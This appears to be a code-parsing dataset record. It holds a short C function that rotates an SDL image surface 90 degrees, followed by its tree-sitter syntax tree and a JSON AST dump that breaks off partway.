tsf_false;\n\t}\n\tdata+=res;\n\tlen-=res;\n }\n return tsf_true;\n}\n\n"}
81,139
c
#include "rotate.h" #include "../import/import.h" #include <stdlib.h> #include <SDL/SDL.h> #include <SDL/SDL_image.h> #include <err.h> SDL_Surface *rotate(SDL_Surface *img, char angle) { if(angle != 'r' && angle != 'l') errx(EXIT_FAILURE, "Wrong rotate angle value"); /* Variables */ Uint32 pixel; Uint8 r; Uint8 g; Uint8 b; int w; int h; int nw; int nh; w = img -> w; h = img -> h; nw = h; nh = w; SDL_Surface *nimg = SDL_CreateRGBSurface(SDL_HWSURFACE, nw, nh, img -> format -> BitsPerPixel,0,0,0,0); //rotate 90 degrees right if(angle == 'r') { for(int i = 0; i < w; i++) { for(int j = 0; j < h; j++) { pixel = getpixel(img, i, j); SDL_GetRGB(pixel, img -> format, &r, &g, &b); pixel = SDL_MapRGB(img -> format, r, g, b); putpixel(nimg, nw-1-j, i, pixel); } } } /* //rotate 90 degrees left else { for(int i = 0; i < w; i++) { for(int j = 0; j < h; j++) { pixel = Mat[]; SDL_GetRGB(pixel, img->format, &r, &g, &b); pixel = SDL_MapRGB(img->format, r, g, b); Mat[i*w+j] = pixel; } } } */ SDL_FreeSurface(img); return nimg; }
20.68
62
(translation_unit) "#include "rotate.h"\n#include "../import/import.h"\n\n#include <stdlib.h>\n#include <SDL/SDL.h>\n#include <SDL/SDL_image.h>\n#include <err.h>\n\n\n\nSDL_Surface *rotate(SDL_Surface *img, char angle)\n{\n if(angle != 'r' && angle != 'l')\n errx(EXIT_FAILURE, "Wrong rotate angle value");\n\n\n\n /* Variables */\n Uint32 pixel;\n Uint8 r;\n Uint8 g;\n Uint8 b;\n int w;\n int h;\n int nw;\n int nh;\n w = img -> w;\n h = img -> h;\n nw = h;\n nh = w;\n\n SDL_Surface *nimg = SDL_CreateRGBSurface(SDL_HWSURFACE,\n nw,\n nh,\n img -> format -> BitsPerPixel,0,0,0,0);\n\n //rotate 90 degrees right\n if(angle == 'r')\n {\n for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = getpixel(img, i, j);\n SDL_GetRGB(pixel, img -> format, &r, &g, &b);\n pixel = SDL_MapRGB(img -> format, r, g, b);\n putpixel(nimg, nw-1-j, i, pixel);\n }\n }\n\n }\n\n /*\n //rotate 90 degrees left\n else\n {\n for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = Mat[];\n SDL_GetRGB(pixel, img->format, &r, &g, &b);\n\n pixel = SDL_MapRGB(img->format, r, g, b);\n Mat[i*w+j] = pixel;\n }\n }\n\n }\n */\n\n SDL_FreeSurface(img);\n return nimg;\n}\n\n\n" (preproc_include) "#include "rotate.h"\n" (#include) "#include" (string_literal) ""rotate.h"" (") """ (string_content) "rotate.h" (") """ (preproc_include) "#include "../import/import.h"\n" (#include) "#include" (string_literal) ""../import/import.h"" (") """ (string_content) "../import/import.h" (") """ (preproc_include) "#include <stdlib.h>\n" (#include) "#include" (system_lib_string) "<stdlib.h>" (preproc_include) "#include <SDL/SDL.h>\n" (#include) "#include" (system_lib_string) "<SDL/SDL.h>" (preproc_include) "#include <SDL/SDL_image.h>\n" (#include) "#include" (system_lib_string) "<SDL/SDL_image.h>" (preproc_include) "#include <err.h>\n" (#include) "#include" (system_lib_string) "<err.h>" (function_definition) "SDL_Surface *rotate(SDL_Surface *img, char angle)\n{\n if(angle != 'r' && angle != 'l')\n errx(EXIT_FAILURE, "Wrong rotate angle value");\n\n\n\n /* Variables */\n Uint32 pixel;\n Uint8 r;\n Uint8 g;\n Uint8 b;\n int w;\n int h;\n int nw;\n int nh;\n w = img -> w;\n h = img -> h;\n nw = h;\n nh = w;\n\n SDL_Surface *nimg = SDL_CreateRGBSurface(SDL_HWSURFACE,\n nw,\n nh,\n img -> format -> BitsPerPixel,0,0,0,0);\n\n //rotate 90 degrees right\n if(angle == 'r')\n {\n for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = getpixel(img, i, j);\n SDL_GetRGB(pixel, img -> format, &r, &g, &b);\n pixel = SDL_MapRGB(img -> format, r, g, b);\n putpixel(nimg, nw-1-j, i, pixel);\n }\n }\n\n }\n\n /*\n //rotate 90 degrees left\n else\n {\n for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = Mat[];\n SDL_GetRGB(pixel, img->format, &r, &g, &b);\n\n pixel = SDL_MapRGB(img->format, r, g, b);\n Mat[i*w+j] = pixel;\n }\n }\n\n }\n */\n\n SDL_FreeSurface(img);\n return nimg;\n}" (type_identifier) "SDL_Surface" (pointer_declarator) "*rotate(SDL_Surface *img, char angle)" (*) "*" (function_declarator) "rotate(SDL_Surface *img, char angle)" (identifier) "rotate" (parameter_list) "(SDL_Surface *img, char angle)" (() "(" (parameter_declaration) "SDL_Surface *img" (type_identifier) "SDL_Surface" (pointer_declarator) "*img" (*) "*" (identifier) "img" (,) "," (parameter_declaration) "char angle" (primitive_type) "char" (identifier) "angle" ()) ")" (compound_statement) "{\n if(angle != 'r' && angle != 'l')\n errx(EXIT_FAILURE, "Wrong rotate angle value");\n\n\n\n /* Variables */\n Uint32 pixel;\n Uint8 r;\n Uint8 g;\n Uint8 b;\n int w;\n int h;\n int nw;\n int nh;\n w = img -> w;\n h = img -> h;\n nw = h;\n nh = w;\n\n SDL_Surface *nimg = SDL_CreateRGBSurface(SDL_HWSURFACE,\n nw,\n nh,\n img -> format -> BitsPerPixel,0,0,0,0);\n\n //rotate 90 degrees right\n if(angle == 'r')\n {\n for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = getpixel(img, i, j);\n SDL_GetRGB(pixel, img -> format, &r, &g, &b);\n pixel = SDL_MapRGB(img -> format, r, g, b);\n putpixel(nimg, nw-1-j, i, pixel);\n }\n }\n\n }\n\n /*\n //rotate 90 degrees left\n else\n {\n for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = Mat[];\n SDL_GetRGB(pixel, img->format, &r, &g, &b);\n\n pixel = SDL_MapRGB(img->format, r, g, b);\n Mat[i*w+j] = pixel;\n }\n }\n\n }\n */\n\n SDL_FreeSurface(img);\n return nimg;\n}" ({) "{" (if_statement) "if(angle != 'r' && angle != 'l')\n errx(EXIT_FAILURE, "Wrong rotate angle value");" (if) "if" (parenthesized_expression) "(angle != 'r' && angle != 'l')" (() "(" (binary_expression) "angle != 'r' && angle != 'l'" (binary_expression) "angle != 'r'" (identifier) "angle" (!=) "!=" (char_literal) "'r'" (') "'" (character) "r" (') "'" (&&) "&&" (binary_expression) "angle != 'l'" (identifier) "angle" (!=) "!=" (char_literal) "'l'" (') "'" (character) "l" (') "'" ()) ")" (expression_statement) "errx(EXIT_FAILURE, "Wrong rotate angle value");" (call_expression) "errx(EXIT_FAILURE, "Wrong rotate angle value")" (identifier) "errx" (argument_list) "(EXIT_FAILURE, "Wrong rotate angle value")" (() "(" (identifier) "EXIT_FAILURE" (,) "," (string_literal) ""Wrong rotate angle value"" (") """ (string_content) "Wrong rotate angle value" (") """ ()) ")" (;) ";" (comment) "/* Variables */" (declaration) "Uint32 pixel;" (type_identifier) "Uint32" (identifier) "pixel" (;) ";" (declaration) "Uint8 r;" (type_identifier) "Uint8" (identifier) "r" (;) ";" (declaration) "Uint8 g;" (type_identifier) "Uint8" (identifier) "g" (;) ";" (declaration) "Uint8 b;" (type_identifier) "Uint8" (identifier) "b" (;) ";" (declaration) "int w;" (primitive_type) "int" (identifier) "w" (;) ";" (declaration) "int h;" (primitive_type) "int" (identifier) "h" (;) ";" (declaration) "int nw;" (primitive_type) "int" (identifier) "nw" (;) ";" (declaration) "int nh;" (primitive_type) "int" (identifier) "nh" (;) ";" (expression_statement) "w = img -> w;" (assignment_expression) "w = img -> w" (identifier) "w" (=) "=" (field_expression) "img -> w" (identifier) "img" (->) "->" (field_identifier) "w" (;) ";" (expression_statement) "h = img -> h;" (assignment_expression) "h = img -> h" (identifier) "h" (=) "=" (field_expression) "img -> h" (identifier) "img" (->) "->" (field_identifier) "h" (;) ";" (expression_statement) "nw = h;" (assignment_expression) "nw = h" (identifier) "nw" (=) "=" (identifier) "h" (;) ";" (expression_statement) "nh = w;" (assignment_expression) "nh = w" (identifier) "nh" (=) "=" (identifier) "w" (;) ";" (declaration) "SDL_Surface *nimg = SDL_CreateRGBSurface(SDL_HWSURFACE,\n nw,\n nh,\n img -> format -> BitsPerPixel,0,0,0,0);" (type_identifier) "SDL_Surface" (init_declarator) "*nimg = SDL_CreateRGBSurface(SDL_HWSURFACE,\n nw,\n nh,\n img -> format -> BitsPerPixel,0,0,0,0)" (pointer_declarator) "*nimg" (*) "*" (identifier) "nimg" (=) "=" (call_expression) "SDL_CreateRGBSurface(SDL_HWSURFACE,\n nw,\n nh,\n img -> format -> BitsPerPixel,0,0,0,0)" (identifier) "SDL_CreateRGBSurface" (argument_list) "(SDL_HWSURFACE,\n nw,\n nh,\n img -> format -> BitsPerPixel,0,0,0,0)" (() "(" (identifier) "SDL_HWSURFACE" (,) "," (identifier) "nw" (,) "," (identifier) "nh" (,) "," (field_expression) "img -> format -> BitsPerPixel" (field_expression) "img -> format" (identifier) "img" (->) "->" (field_identifier) "format" (->) "->" (field_identifier) "BitsPerPixel" (,) "," (number_literal) "0" (,) "," (number_literal) "0" (,) "," (number_literal) "0" (,) "," (number_literal) "0" ()) ")" (;) ";" (comment) "//rotate 90 degrees right" (if_statement) "if(angle == 'r')\n {\n for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = getpixel(img, i, j);\n SDL_GetRGB(pixel, img -> format, &r, &g, &b);\n pixel = SDL_MapRGB(img -> format, r, g, b);\n putpixel(nimg, nw-1-j, i, pixel);\n }\n }\n\n }" (if) "if" (parenthesized_expression) "(angle == 'r')" (() "(" (binary_expression) "angle == 'r'" (identifier) "angle" (==) "==" (char_literal) "'r'" (') "'" (character) "r" (') "'" ()) ")" (compound_statement) "{\n for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = getpixel(img, i, j);\n SDL_GetRGB(pixel, img -> format, &r, &g, &b);\n pixel = SDL_MapRGB(img -> format, r, g, b);\n putpixel(nimg, nw-1-j, i, pixel);\n }\n }\n\n }" ({) "{" (for_statement) "for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = getpixel(img, i, j);\n SDL_GetRGB(pixel, img -> format, &r, &g, &b);\n pixel = SDL_MapRGB(img -> format, r, g, b);\n putpixel(nimg, nw-1-j, i, pixel);\n }\n }" (for) "for" (() "(" (declaration) "int i = 0;" (primitive_type) "int" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i < w" (identifier) "i" (<) "<" (identifier) "w" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n for(int j = 0; j < h; j++)\n {\n pixel = getpixel(img, i, j);\n SDL_GetRGB(pixel, img -> format, &r, &g, &b);\n pixel = SDL_MapRGB(img -> format, r, g, b);\n putpixel(nimg, nw-1-j, i, pixel);\n }\n }" ({) "{" (for_statement) "for(int j = 0; j < h; j++)\n {\n pixel = getpixel(img, i, j);\n SDL_GetRGB(pixel, img -> format, &r, &g, &b);\n pixel = SDL_MapRGB(img -> format, r, g, b);\n putpixel(nimg, nw-1-j, i, pixel);\n }" (for) "for" (() "(" (declaration) "int j = 0;" (primitive_type) "int" (init_declarator) "j = 0" (identifier) "j" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "j < h" (identifier) "j" (<) "<" (identifier) "h" (;) ";" (update_expression) "j++" (identifier) "j" (++) "++" ()) ")" (compound_statement) "{\n pixel = getpixel(img, i, j);\n SDL_GetRGB(pixel, img -> format, &r, &g, &b);\n pixel = SDL_MapRGB(img -> format, r, g, b);\n putpixel(nimg, nw-1-j, i, pixel);\n }" ({) "{" (expression_statement) "pixel = getpixel(img, i, j);" (assignment_expression) "pixel = getpixel(img, i, j)" (identifier) "pixel" (=) "=" (call_expression) "getpixel(img, i, j)" (identifier) "getpixel" (argument_list) "(img, i, j)" (() "(" (identifier) "img" (,) "," (identifier) "i" (,) "," (identifier) "j" ()) ")" (;) ";" (expression_statement) "SDL_GetRGB(pixel, img -> format, &r, &g, &b);" (call_expression) "SDL_GetRGB(pixel, img -> format, &r, &g, &b)" (identifier) "SDL_GetRGB" (argument_list) "(pixel, img -> format, &r, &g, &b)" (() "(" (identifier) "pixel" (,) "," (field_expression) "img -> format" (identifier) "img" (->) "->" (field_identifier) "format" (,) "," (pointer_expression) "&r" (&) "&" (identifier) "r" (,) "," (pointer_expression) "&g" (&) "&" (identifier) "g" (,) "," (pointer_expression) "&b" (&) "&" (identifier) "b" ()) ")" (;) ";" (expression_statement) "pixel = SDL_MapRGB(img -> format, r, g, b);" (assignment_expression) "pixel = SDL_MapRGB(img -> format, r, g, b)" (identifier) "pixel" (=) "=" (call_expression) "SDL_MapRGB(img -> format, r, g, b)" (identifier) "SDL_MapRGB" (argument_list) "(img -> format, r, g, b)" (() "(" (field_expression) "img -> format" (identifier) "img" (->) "->" (field_identifier) "format" (,) "," (identifier) "r" (,) "," (identifier) "g" (,) "," (identifier) "b" ()) ")" (;) ";" (expression_statement) "putpixel(nimg, nw-1-j, i, pixel);" (call_expression) "putpixel(nimg, nw-1-j, i, pixel)" (identifier) "putpixel" (argument_list) "(nimg, nw-1-j, i, pixel)" (() "(" (identifier) "nimg" (,) "," (binary_expression) "nw-1-j" (binary_expression) "nw-1" (identifier) "nw" (-) "-" (number_literal) "1" (-) "-" (identifier) "j" (,) "," (identifier) "i" (,) "," (identifier) "pixel" ()) ")" (;) ";" (}) "}" (}) "}" (}) "}" (comment) "/*\n //rotate 90 degrees left\n else\n {\n for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = Mat[];\n SDL_GetRGB(pixel, img->format, &r, &g, &b);\n\n pixel = SDL_MapRGB(img->format, r, g, b);\n Mat[i*w+j] = pixel;\n }\n }\n\n }\n */" (expression_statement) "SDL_FreeSurface(img);" (call_expression) "SDL_FreeSurface(img)" (identifier) "SDL_FreeSurface" (argument_list) "(img)" (() "(" (identifier) "img" ()) ")" (;) ";" (return_statement) "return nimg;" (return) "return" (identifier) "nimg" (;) ";" (}) "}"
330
0
{"language": "c", "success": true, "metadata": {"lines": 62, "avg_line_length": 20.68, "nodes": 212, "errors": 0, "source_hash": "6c68f49f9ff6573a41e30fcafc57392c2aad83efa869e645cb95c28b23fd1d0a", "categorized_nodes": 160}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include \"rotate.h\"\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 8}}, {"id": 2, "type": "string_literal", "text": "\"rotate.h\"", "parent": 0, "children": [], "start_point": {"row": 0, "column": 9}, "end_point": {"row": 0, "column": 19}}, {"id": 3, "type": "preproc_include", "text": "#include \"../import/import.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"../import/import.h\"", "parent": 3, "children": [], "start_point": {"row": 1, "column": 9}, "end_point": {"row": 1, "column": 29}}, {"id": 6, "type": "preproc_include", "text": "#include <stdlib.h>\n", "parent": null, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<stdlib.h>", "parent": 6, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 19}}, {"id": 9, "type": "preproc_include", "text": "#include <SDL/SDL.h>\n", "parent": null, "children": [10, 11], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 5, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "<SDL/SDL.h>", "parent": 9, "children": [], "start_point": {"row": 4, "column": 9}, "end_point": {"row": 4, "column": 20}}, {"id": 12, "type": "preproc_include", "text": "#include <SDL/SDL_image.h>\n", "parent": null, "children": [13, 14], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 8}}, {"id": 14, "type": "system_lib_string", "text": "<SDL/SDL_image.h>", "parent": 12, "children": [], "start_point": {"row": 5, "column": 9}, "end_point": {"row": 5, "column": 26}}, {"id": 15, "type": "preproc_include", "text": "#include <err.h>\n", "parent": null, "children": [16, 17], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 8}}, {"id": 17, "type": "system_lib_string", "text": "<err.h>", "parent": 15, "children": [], "start_point": {"row": 6, "column": 9}, "end_point": {"row": 6, "column": 16}}, {"id": 18, "type": "function_definition", "text": "SDL_Surface *rotate(SDL_Surface *img, char angle)\n{\n if(angle != 'r' && angle != 'l')\n errx(EXIT_FAILURE, \"Wrong rotate angle value\");\n\n\n\n /* Variables */\n Uint32 pixel;\n Uint8 r;\n Uint8 g;\n Uint8 b;\n int w;\n int h;\n int nw;\n int nh;\n w = img -> w;\n h = img -> h;\n nw = h;\n nh = w;\n\n SDL_Surface *nimg = SDL_CreateRGBSurface(SDL_HWSURFACE,\n nw,\n nh,\n img -> format -> BitsPerPixel,0,0,0,0);\n\n //rotate 90 degrees right\n if(angle == 'r')\n {\n for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = getpixel(img, i, j);\n SDL_GetRGB(pixel, img -> format, &r, &g, &b);\n pixel = SDL_MapRGB(img -> format, r, g, b);\n putpixel(nimg, nw-1-j, i, pixel);\n }\n }\n\n }\n\n /*\n //rotate 90 degrees left\n else\n {\n for(int i = 0; i < w; i++)\n {\n for(int j = 0; j < h; j++)\n {\n pixel = Mat[];\n SDL_GetRGB(pixel, img->format, &r, &g, &b);\n\n pixel = SDL_MapRGB(img->format, r, g, b);\n Mat[i*w+j] = pixel;\n }\n }\n\n }\n */\n\n SDL_FreeSurface(img);\n return nimg;\n}", "parent": null, "children": [19, 20], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 73, "column": 1}}, {"id": 19, "type": "type_identifier", "text": "SDL_Surface", "parent": 18, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 11}}, {"id": 20, "type": "pointer_declarator", "text": "*rotate(SDL_Surface *img, char angle)", "parent": 18, "children": [21, 22], "start_point": {"row": 10, "column": 12}, "end_point": {"row": 10, "column": 49}}, {"id": 21, "type": "*", "text": "*", "parent": 20, "children": [], "start_point": {"row": 10, "column": 12}, "end_point": {"row": 10, "column": 13}}, {"id": 22, "type": "function_declarator", "text": "rotate(SDL_Surface *img, char angle)", "parent": 20, "children": [23, 24], "start_point": {"row": 10, "column": 13}, "end_point": {"row": 10, "column": 49}}, {"id": 23, "type": "identifier", "text": "rotate", "parent": 22, "children": [], "start_point": {"row": 10, "column": 13}, "end_point": {"row": 10, "column": 19}}, {"id": 24, "type": "parameter_list", "text": "(SDL_Surface *img, char angle)", "parent": 22, "children": [25, 30], "start_point": {"row": 10, "column": 19}, "end_point": {"row": 10, "column": 49}}, {"id": 25, "type": "parameter_declaration", "text": "SDL_Surface *img", "parent": 24, "children": [26, 27], "start_point": {"row": 10, "column": 20}, "end_point": {"row": 10, "column": 36}}, {"id": 26, "type": "type_identifier", "text": "SDL_Surface", "parent": 25, "children": [], "start_point": {"row": 10, "column": 20}, "end_point": {"row": 10, "column": 31}}, {"id": 27, "type": "pointer_declarator", "text": "*img", "parent": 25, "children": [28, 29], "start_point": {"row": 10, "column": 32}, "end_point": {"row": 10, "column": 36}}, {"id": 28, "type": "*", "text": "*", "parent": 27, "children": [], "start_point": {"row": 10, "column": 32}, "end_point": {"row": 10, "column": 33}}, {"id": 29, "type": "identifier", "text": "img", "parent": 27, "children": [], "start_point": {"row": 10, "column": 33}, "end_point": {"row": 10, "column": 36}}, {"id": 30, "type": "parameter_declaration", "text": "char angle", "parent": 24, "children": [31, 32], "start_point": {"row": 10, "column": 38}, "end_point": {"row": 10, "column": 48}}, {"id": 31, "type": "primitive_type", "text": "char", "parent": 30, "children": [], "start_point": {"row": 10, "column": 38}, "end_point": {"row": 10, "column": 42}}, {"id": 32, "type": "identifier", "text": "angle", "parent": 30, "children": [], "start_point": {"row": 10, "column": 43}, "end_point": {"row": 10, "column": 48}}, {"id": 33, "type": "if_statement", "text": "if(angle != 'r' && angle != 'l')\n errx(EXIT_FAILURE, \"Wrong rotate angle value\");", "parent": 18, "children": [34], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 13, "column": 55}}, {"id": 34, "type": "parenthesized_expression", "text": "(angle != 'r' && angle != 'l')", "parent": 33, "children": [35], "start_point": {"row": 12, "column": 6}, "end_point": {"row": 12, "column": 36}}, {"id": 35, "type": "binary_expression", "text": "angle != 'r' && angle != 'l'", "parent": 34, "children": [36, 43, 44], "start_point": {"row": 12, "column": 7}, "end_point": {"row": 12, "column": 35}}, {"id": 36, "type": "binary_expression", "text": "angle != 'r'", "parent": 35, "children": [37, 38, 39], "start_point": {"row": 12, "column": 7}, "end_point": {"row": 12, "column": 19}}, {"id": 37, "type": "identifier", "text": "angle", "parent": 36, "children": [], "start_point": {"row": 12, "column": 7}, "end_point": {"row": 12, "column": 12}}, {"id": 38, "type": "!=", "text": "!=", "parent": 36, "children": [], "start_point": {"row": 12, "column": 13}, "end_point": {"row": 12, "column": 15}}, {"id": 39, "type": "char_literal", "text": "'r'", "parent": 36, "children": [40, 41, 42], "start_point": {"row": 12, "column": 16}, "end_point": {"row": 12, "column": 19}}, {"id": 40, "type": "'", "text": "'", "parent": 39, "children": [], "start_point": {"row": 12, "column": 16}, "end_point": {"row": 12, "column": 17}}, {"id": 41, "type": "character", "text": "r", "parent": 39, "children": [], "start_point": {"row": 12, "column": 17}, "end_point": {"row": 12, "column": 18}}, {"id": 42, "type": "'", "text": "'", "parent": 39, "children": [], "start_point": {"row": 12, "column": 18}, "end_point": {"row": 12, "column": 19}}, {"id": 43, "type": "&&", "text": "&&", "parent": 35, "children": [], "start_point": {"row": 12, "column": 20}, "end_point": {"row": 12, "column": 22}}, {"id": 44, "type": "binary_expression", "text": "angle != 'l'", "parent": 35, "children": [45, 46, 47], "start_point": {"row": 12, "column": 23}, "end_point": {"row": 12, "column": 35}}, {"id": 45, "type": "identifier", "text": "angle", "parent": 44, "children": [], "start_point": {"row": 12, "column": 23}, "end_point": {"row": 12, "column": 28}}, {"id": 46, "type": "!=", "text": "!=", "parent": 44, "children": [], "start_point": {"row": 12, "column": 29}, "end_point": {"row": 12, "column": 31}}, {"id": 47, "type": "char_literal", "text": "'l'", "parent": 44, "children": [48, 49, 50], "start_point": {"row": 12, "column": 32}, "end_point": {"row": 12, "column": 35}}, {"id": 48, "type": "'", "text": "'", "parent": 47, "children": [], "start_point": {"row": 12, "column": 32}, "end_point": {"row": 12, "column": 33}}, {"id": 49, "type": "character", "text": "l", "parent": 47, "children": [], "start_point": {"row": 12, "column": 33}, "end_point": {"row": 12, "column": 34}}, {"id": 50, "type": "'", "text": "'", "parent": 47, "children": [], "start_point": {"row": 12, "column": 34}, "end_point": {"row": 12, "column": 35}}, {"id": 51, "type": "call_expression", "text": "errx(EXIT_FAILURE, \"Wrong rotate angle value\")", "parent": 33, "children": [52, 53], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 54}}, {"id": 52, "type": "identifier", "text": "errx", "parent": 51, "children": [], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 12}}, {"id": 53, "type": "argument_list", "text": "(EXIT_FAILURE, \"Wrong rotate angle value\")", "parent": 51, "children": [54, 55], "start_point": {"row": 13, "column": 12}, "end_point": {"row": 13, "column": 54}}, {"id": 54, "type": "identifier", "text": "EXIT_FAILURE", "parent": 53, "children": [], "start_point": {"row": 13, "column": 13}, "end_point": {"row": 13, "column": 25}}, {"id": 55, "type": "string_literal", "text": "\"Wrong rotate angle value\"", "parent": 53, "children": [], "start_point": {"row": 13, "column": 27}, "end_point": {"row": 13, "column": 53}}, {"id": 56, "type": "declaration", "text": "Uint32 pixel;", "parent": 18, "children": [57, 58], "start_point": {"row": 18, "column": 4}, "end_point": {"row": 18, "column": 17}}, {"id": 57, "type": "type_identifier", "text": "Uint32", "parent": 56, "children": [], "start_point": {"row": 18, "column": 4}, "end_point": {"row": 18, "column": 10}}, {"id": 58, "type": "identifier", "text": "pixel", "parent": 56, "children": [], "start_point": {"row": 18, "column": 11}, "end_point": {"row": 18, "column": 16}}, {"id": 59, "type": "declaration", "text": "Uint8 r;", "parent": 18, "children": [60, 61], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 19, "column": 12}}, {"id": 60, "type": "type_identifier", "text": "Uint8", "parent": 59, "children": [], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 19, "column": 9}}, {"id": 61, "type": "identifier", "text": "r", "parent": 59, "children": [], "start_point": {"row": 19, "column": 10}, "end_point": {"row": 19, "column": 11}}, {"id": 62, "type": "declaration", "text": "Uint8 g;", "parent": 18, "children": [63, 64], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 12}}, {"id": 63, "type": "type_identifier", "text": "Uint8", "parent": 62, "children": [], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 9}}, {"id": 64, "type": "identifier", "text": "g", "parent": 62, "children": [], "start_point": {"row": 20, "column": 10}, "end_point": {"row": 20, "column": 11}}, {"id": 65, "type": "declaration", "text": "Uint8 b;", "parent": 18, "children": [66, 67], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 21, "column": 12}}, {"id": 66, "type": "type_identifier", "text": "Uint8", "parent": 65, "children": [], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 21, "column": 9}}, {"id": 67, "type": "identifier", "text": "b", "parent": 65, "children": [], "start_point": {"row": 21, "column": 10}, "end_point": {"row": 21, "column": 11}}, {"id": 68, "type": "declaration", "text": "int w;", "parent": 18, "children": [69, 70], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 10}}, {"id": 69, "type": "primitive_type", "text": "int", "parent": 68, "children": [], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 7}}, {"id": 70, "type": "identifier", "text": "w", "parent": 68, "children": [], "start_point": {"row": 22, "column": 8}, "end_point": {"row": 22, "column": 9}}, {"id": 71, "type": "declaration", "text": "int h;", "parent": 18, "children": [72, 73], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 10}}, {"id": 72, "type": "primitive_type", "text": "int", "parent": 71, "children": [], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 7}}, {"id": 73, "type": "identifier", "text": "h", "parent": 71, "children": [], "start_point": {"row": 23, "column": 8}, "end_point": {"row": 23, "column": 9}}, {"id": 74, "type": "declaration", "text": "int nw;", "parent": 18, "children": [75, 76], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 24, "column": 11}}, {"id": 75, "type": "primitive_type", "text": "int", "parent": 74, "children": [], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 24, "column": 7}}, {"id": 76, "type": "identifier", "text": "nw", "parent": 74, "children": [], "start_point": {"row": 24, "column": 8}, "end_point": {"row": 24, "column": 10}}, {"id": 77, "type": "declaration", "text": "int nh;", "parent": 18, "children": [78, 79], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 11}}, {"id": 78, "type": "primitive_type", "text": "int", "parent": 77, "children": [], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 7}}, {"id": 79, "type": "identifier", "text": "nh", "parent": 77, "children": [], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 10}}, {"id": 80, "type": "assignment_expression", "text": "w = img -> w", "parent": 18, "children": [81, 82, 83], "start_point": {"row": 26, "column": 4}, "end_point": {"row": 26, "column": 16}}, {"id": 81, "type": "identifier", "text": "w", "parent": 80, "children": [], "start_point": {"row": 26, "column": 4}, "end_point": {"row": 26, "column": 5}}, {"id": 82, "type": "=", "text": "=", "parent": 80, "children": [], "start_point": {"row": 26, "column": 6}, "end_point": {"row": 26, "column": 7}}, {"id": 83, "type": "field_expression", "text": "img -> w", "parent": 80, "children": [84, 85], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 16}}, {"id": 84, "type": "identifier", "text": "img", "parent": 83, "children": [], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 11}}, {"id": 85, "type": "field_identifier", "text": "w", "parent": 83, "children": [], "start_point": {"row": 26, "column": 15}, "end_point": {"row": 26, "column": 16}}, {"id": 86, "type": "assignment_expression", "text": "h = img -> h", "parent": 18, "children": [87, 88, 89], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 16}}, {"id": 87, "type": "identifier", "text": "h", "parent": 86, "children": [], "start_point": 